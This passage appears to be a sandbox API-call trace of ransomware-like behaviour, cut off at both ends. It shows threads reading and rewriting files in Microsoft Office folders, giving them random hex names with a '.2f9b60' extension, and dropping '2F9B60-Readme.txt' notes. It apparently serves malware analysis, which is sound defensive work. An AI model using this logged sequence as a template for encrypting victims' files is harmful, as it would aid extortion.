_Dest="0e") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e632, _Format="%c%c" | out: _Dest="35") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e634, _Format="%c%c" | out: _Dest="a5") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e636, _Format="%c%c" | out: _Dest="cc") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e638, _Format="%c%c" | out: _Dest="ae") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e63a, _Format="%c%c" | out: _Dest="1e") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e63c, _Format="%c%c" | out: _Dest="e3") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e63e, _Format="%c%c" | out: _Dest="c4") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e640, _Format="%c%c" | out: _Dest="49") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e642, _Format="%c%c" | out: _Dest="a1") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e644, _Format="%c%c" | out: _Dest="24") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e646, _Format="%c%c" | out: _Dest="09") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e648, _Format="%c%c" | out: _Dest="b1") returned 2 [0219.284] sprintf (in: _Dest=0x1b79e64a, _Format="%c%c" | out: _Dest="ea") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e64c, _Format="%c%c" | out: _Dest="71") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e64e, _Format="%c%c" | out: _Dest="ac") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e650, _Format="%c%c" | out: _Dest="45") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e652, _Format="%c%c" | out: _Dest="dc") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e654, _Format="%c%c" | out: _Dest="b3") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e656, _Format="%c%c" | out: _Dest="88") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e658, _Format="%c%c" | out: _Dest="3b") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e65a, _Format="%c%c" | out: _Dest="5d") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e65c, _Format="%c%c" | out: _Dest="76") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e65e, _Format="%c%c" | out: _Dest="86") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e660, _Format="%c%c" | out: _Dest="3a") returned 2 [0219.285] sprintf (in: _Dest=0x1b79e662, _Format="%c%c" | out: _Dest="de") returned 2 [0219.285] RtlInitAnsiString (in: DestinationString=0x2202fdc8, SourceString="5661976c4c39d4a9aa01b1a1008dd2647134feca4aa104de3c625e9116b0ade60e35a5ccae1ee3c449a12409b1ea71ac45dcb3883b5d76863ade" | out: DestinationString="5661976c4c39d4a9aa01b1a1008dd2647134feca4aa104de3c625e9116b0ade60e35a5ccae1ee3c449a12409b1ea71ac45dcb3883b5d76863ade") [0219.285] RtlAnsiStringToUnicodeString (in: DestinationString=0x2202fd98, SourceString="5661976c4c39d4a9aa01b1a1008dd2647134feca4aa104de3c625e9116b0ade60e35a5ccae1ee3c449a12409b1ea71ac45dcb3883b5d76863ade", AllocateDestinationString=1 | out: DestinationString="5661976c4c39d4a9aa01b1a1008dd2647134feca4aa104de3c625e9116b0ade60e35a5ccae1ee3c449a12409b1ea71ac45dcb3883b5d76863ade") returned 0x0 [0219.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78f380 [0219.286] wcscat (in: _Dest=0x1ceb57b0, _Source="5661976c4c39d4a9aa01b1a1008dd" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\5661976c4c39d4a9aa01b1a1008dd") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\5661976c4c39d4a9aa01b1a1008dd" [0219.286] wcscat (in: _Dest=0x1ceb57b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\5661976c4c39d4a9aa01b1a1008dd.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\5661976c4c39d4a9aa01b1a1008dd.2f9b60" [0219.286] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\5661976c4c39d4a9aa01b1a1008dd.2f9b60", NtPathName=0x2202fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\5661976c4c39d4a9aa01b1a1008dd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x102) returned 0x431a9e80 [0222.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a9e80) returned 1 [0222.373] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430807a0) returned 1 [0222.373] NtQueryInformationFile (in: FileHandle=0x1bdc, IoStatusBlock=0x2202fdd8, FileInformation=0x2202fde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2202fdd8, FileInformation=0x2202fde8) returned 0x0 [0222.373] NtSetInformationFile (FileHandle=0x1bdc, IoStatusBlock=0x2202fdd8, FileInformation=0x2202fde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0223.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb57b0) returned 1 [0223.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f380) returned 1 [0223.564] FlushFileBuffers (hFile=0x1bdc) returned 1 [0224.007] CloseHandle (hObject=0x1bdc) returned 1 [0224.942] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc0) returned 0x118c90 [0224.943] wcscpy (in: _Dest=0x118c90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\" [0224.943] wcscat (in: _Dest=0x118c90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\2F9B60-Readme.txt" [0224.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\2f9b60-readme.txt")) returned 0xffffffff [0224.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\infopathom\\infopathomformservices\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb18 [0225.518] WriteFile (in: hFile=0xb18, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2202fc90, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2202fc90*=0xba9, lpOverlapped=0x0) returned 1 [0225.965] CloseHandle (hObject=0xb18) returned 1 [0226.550] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118c90) returned 1 [0226.551] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecf780) returned 1 Thread: id = 2314 os_tid = 0x1c8c [0149.099] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml")) returned 0x20 [0149.099] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0149.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.5\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0149.100] GetLastError () returned 0x5 [0149.100] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 0 [0149.100] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1197f0) returned 1 Thread: id = 2315 os_tid = 0x1c90 [0149.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf")) returned 0x20 [0149.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF", dwFileAttributes=0x20) returned 1 [0149.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bd0 [0149.105] GetFileSizeEx (in: hFile=0x1bd0, lpFileSize=0x2268fa20 | out: lpFileSize=0x2268fa20*=29628) returned 1 [0149.105] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x73b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.105] ReadFile (in: hFile=0x1bd0, lpBuffer=0x2268f9a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2268f9e8, lpOverlapped=0x0 | out: lpBuffer=0x2268f9a0*, lpNumberOfBytesRead=0x2268f9e8*=0x4, lpOverlapped=0x0) returned 1 [0149.109] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a750 [0149.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205c030 [0149.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0149.111] NtQuerySystemTime (in: CurrentTime=0x2268f8e0 | out: CurrentTime=0x2268f8e0*=132462177543226000) returned 0x0 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x6dac4c0 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x3360e182 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x5112fb25 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x339e8269 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0xf375b51 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x39c3d203 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x1aded180 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x22a461b6 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x63302498 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x577b2695 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x5f3dffa4 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x420f96a6 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x4397d6f8 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x832eeb8 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x5dc32171 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x4f2db7b1 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0xc2c1687 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x5465fc05 [0149.111] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x7621561e [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x29e113d9 [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x206b0af6 [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x65650535 [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x367ef1ac [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x19970fe7 [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x7dc23957 [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x4cccf0e1 [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x6b6c71f2 [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x67cc86f6 [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x582d80d3 [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x15bc620d [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x417bd3dd [0149.112] RtlRandomEx (in: Seed=0x2268f8d0 | out: Seed=0x2268f8d0) returned 0x3fd5b14f [0149.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0149.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0149.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b800 [0149.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0149.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0149.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a750) returned 1 [0149.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f900b0 [0149.127] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.127] ReadFile (in: hFile=0x1bd0, lpBuffer=0x41f900b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2268f940, lpOverlapped=0x0 | out: lpBuffer=0x41f900b0*, lpNumberOfBytesRead=0x2268f940*=0x3c00, lpOverlapped=0x0) returned 1 [0149.128] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0149.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869dc0 [0149.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a750 [0149.129] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a750) returned 1 [0149.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fa2d00 [0149.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a750 [0149.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0149.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a420) returned 1 [0149.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869dc0) returned 1 [0149.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0149.131] WriteFile (in: hFile=0x1bd0, lpBuffer=0x41fa2d00*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2268f940, lpOverlapped=0x0 | out: lpBuffer=0x41fa2d00*, lpNumberOfBytesWritten=0x2268f940*=0x3c00, lpOverlapped=0x0) returned 1 [0161.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fa2d00) returned 1 [0161.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f900b0) returned 1 [0161.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4850 [0161.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0161.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8689c0 [0161.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4880 [0161.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4880) returned 1 [0161.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a4880 [0161.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a48b0 [0161.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a48e0 [0161.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48e0) returned 1 [0161.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8689c0) returned 1 [0161.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0161.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x423aad10 [0161.525] SetFilePointerEx (in: hFile=0x1bd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.525] WriteFile (in: hFile=0x1bd0, lpBuffer=0x423aad10*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2268f9f0, lpOverlapped=0x0 | out: lpBuffer=0x423aad10*, lpNumberOfBytesWritten=0x2268f9f0*=0x10a, lpOverlapped=0x0) returned 1 [0163.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce192c0 [0163.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59c30 [0163.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264040 [0163.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264040) returned 1 [0163.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d200 [0163.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264040 [0163.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262fc0 [0163.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262fc0) returned 1 [0163.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59c30) returned 1 [0163.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce192c0) returned 1 [0163.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7f40 [0163.329] sprintf (in: _Dest=0x1b7d7f40, _Format="%c%c" | out: _Dest="f0") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f42, _Format="%c%c" | out: _Dest="d2") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f44, _Format="%c%c" | out: _Dest="68") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f46, _Format="%c%c" | out: _Dest="1a") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f48, _Format="%c%c" | out: _Dest="ac") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f4a, _Format="%c%c" | out: _Dest="17") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f4c, _Format="%c%c" | out: _Dest="b7") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f4e, _Format="%c%c" | out: _Dest="5a") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f50, _Format="%c%c" | out: _Dest="6a") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f52, _Format="%c%c" | out: _Dest="e7") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f54, _Format="%c%c" | out: _Dest="54") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f56, _Format="%c%c" | out: _Dest="e2") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f58, _Format="%c%c" | out: _Dest="ad") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f5a, _Format="%c%c" | out: _Dest="07") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f5c, _Format="%c%c" | out: _Dest="11") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f5e, _Format="%c%c" | out: _Dest="6d") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f60, _Format="%c%c" | out: _Dest="be") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f62, _Format="%c%c" | out: _Dest="6c") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f64, _Format="%c%c" | out: _Dest="3b") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f66, _Format="%c%c" | out: _Dest="57") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f68, _Format="%c%c" | out: _Dest="60") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f6a, _Format="%c%c" | out: _Dest="0e") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f6c, _Format="%c%c" | out: _Dest="fa") returned 2 [0163.329] sprintf (in: _Dest=0x1b7d7f6e, _Format="%c%c" | out: _Dest="8e") returned 2 [0163.329] RtlInitAnsiString (in: DestinationString=0x2268fa68, SourceString="f0d2681aac17b75a6ae754e2ad07116dbe6c3b57600efa8e" | out: DestinationString="f0d2681aac17b75a6ae754e2ad07116dbe6c3b57600efa8e") [0163.329] RtlAnsiStringToUnicodeString (in: DestinationString=0x2268fa38, SourceString="f0d2681aac17b75a6ae754e2ad07116dbe6c3b57600efa8e", AllocateDestinationString=1 | out: DestinationString="f0d2681aac17b75a6ae754e2ad07116dbe6c3b57600efa8e") returned 0x0 [0163.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x18d0e0 [0163.330] RtlFreeAnsiString (AnsiString="f") [0163.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f40) returned 1 [0163.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d200) returned 1 [0163.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264040) returned 1 [0163.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423aad10) returned 1 [0163.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4880) returned 1 [0163.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a48b0) returned 1 [0163.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4850) returned 1 [0163.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a750) returned 1 [0163.332] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c030) returned 1 [0163.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0163.333] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b800) returned 1 [0163.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1cdb57f0 [0163.334] wcscat (in: _Dest=0x1cdb57f0, _Source="f0d2681aac17" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f0d2681aac17") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f0d2681aac17" [0163.334] wcscat (in: _Dest=0x1cdb57f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f0d2681aac17.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f0d2681aac17.2f9b60" [0163.334] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f0d2681aac17.2f9b60", NtPathName=0x2268fa10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\f0d2681aac17.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1ce221a0 Thread: id = 2316 os_tid = 0x1c94 [0149.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf")) returned 0x20 [0149.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF", dwFileAttributes=0x20) returned 1 [0149.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c3c [0149.135] GetFileSizeEx (in: hFile=0x1c3c, lpFileSize=0x21f1f700 | out: lpFileSize=0x21f1f700*=2690) returned 1 [0149.136] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0xa7e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.136] ReadFile (in: hFile=0x1c3c, lpBuffer=0x21f1f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21f1f6c8, lpOverlapped=0x0 | out: lpBuffer=0x21f1f680*, lpNumberOfBytesRead=0x21f1f6c8*=0x4, lpOverlapped=0x0) returned 1 [0149.137] SetFilePointerEx (in: hFile=0x1c3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a420 [0149.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a9c0 [0149.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b320 [0149.138] NtQuerySystemTime (in: CurrentTime=0x21f1f5c0 | out: CurrentTime=0x21f1f5c0*=132462177543538000) returned 0x0 [0149.138] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x30499f7e [0149.138] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x330d29bc [0149.138] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x1dec2a5d [0149.138] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 0x1bbb050e [0149.138] RtlRandomEx (in: Seed=0x21f1f5b0 | out: Seed=0x21f1f5b0) returned 